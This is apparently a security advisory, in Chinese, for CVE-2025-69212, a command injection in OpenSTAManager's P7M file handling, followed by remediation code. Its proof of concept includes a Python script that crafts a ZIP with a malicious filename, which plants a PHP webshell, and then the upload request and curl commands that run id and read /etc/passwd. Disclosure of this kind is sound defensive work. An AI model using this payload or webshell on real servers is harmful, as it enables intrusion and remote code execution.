
针对CVE-2025-69212的概念验证漏洞利用:OpenSTAManager在处理P7M文件时存在操作系统命令注入漏洞,通过恶意ZIP上传可实现经过身份验证的远程代码执行。
| 字段 | 详情 |
|---|
| CVE ID | CVE-2025-69212 |
| 严重程度 | 严重 |
| 公告 | 查看公告 |
| 发现者 | Lukasz Rybak |
P7M(签名 XML)文件解码功能中存在一个严重的 OS 命令注入漏洞。经过身份验证的攻击者可以上传包含恶意文件名 .p7m 文件的 ZIP 压缩包,从而在服务器上执行任意系统命令。
文件: src/Util/XML.php:100
public static function decodeP7M($file)
{
$directory = pathinfo($file, PATHINFO_DIRNAME);
$content = file_get_contents($file);
$output_file = $directory.'/'.basename($file, '.p7m');
try {
if (function_exists('exec')) {
// 漏洞 - 未进行输入清理!
exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
问题:
$file 参数直接被传递给 exec() 而未经过清理plugins/importFE_ZIP/actions.php:126(当自动导入启用时)
foreach ($files_xml as $xml) {
if (string_ends_with($xml, '.p7m')) {
$file = XML::decodeP7M($directory.'/'.$xml); // $xml 来自 ZIP!
plugins/importFE/src/FatturaElettronica.php:56(构造函数)
if (string_ends_with($name, '.p7m')) {
$file = XML::decodeP7M($this->file); // $name 来自用户输入!
.p7m 文件,调用 decodeP7M()exec() 命令⚠️ 重要说明: PHP 的 ZipArchive::extractTo() 会根据 / 字符分割文件名。payload 中的命令不得包含 /。请使用 cd directory && command 替代绝对路径。
import zipfile
cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_filename = f'invoice.p7m";{cmd};echo ".p7m'
with zipfile.ZipFile('exploit.zip', 'w') as zf:
zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT")
POST /actions.php HTTP/1.1
Host: localhost:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc
Cookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="blob1"; filename="exploit.zip"
Content-Type: application/zip
[ZIP CONTENT]
------WebKitFormBoundaryBKunENXxjEx5VrRc--
Content-Disposition: form-data; name="op"
save
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_module"
14
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_plugin"
48
------WebKitFormBoundaryBKunENXxjEx5VrRc--


响应(预期返回 500 错误 - XML 解析在命令执行后失败):
HTTP/1.1 500 Internal Server Error
{"error":{"type":"Exception","message":"Start tag expected, '<' not found"}}
验证——已创建 Webshell:

Webshell 可公开访问,无需认证:
$ curl "http://localhost:8081/files/SHELL.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ curl "http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd"
[完整 /etc/passwd 输出]

public static function decodeP7M($file)
{
// 验证文件路径不包含 shell 元字符
if (preg_match('/[;&|`$(){}\\[\\]<>]/', $file)) {
throw new \Exception('无效的文件路径');
}
// 更佳:使用 escapeshellarg()
$safe_file = escapeshellarg($file);
$safe_output = escapeshellarg($output_file);
exec("openssl smime -verify -noverify -in $safe_file -inform DER -out $safe_output", $output, $cmd);
}
或
// 在上传处理程序中,验证来自 ZIP 的文件名
foreach ($files_xml as $xml) {
// 仅允许字母、数字、点、短横、下划线
if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
continue; // 跳过无效文件名
}
if (string_ends_with($xml, '.p7m')) {
$file = XML::decodeP7M($directory.'/'.$xml);
}
}
发现者:Łukasz Rybak
该 CVE 已按照协调漏洞披露规范负责任地披露。此处提供的信息仅供教育和防御目的使用。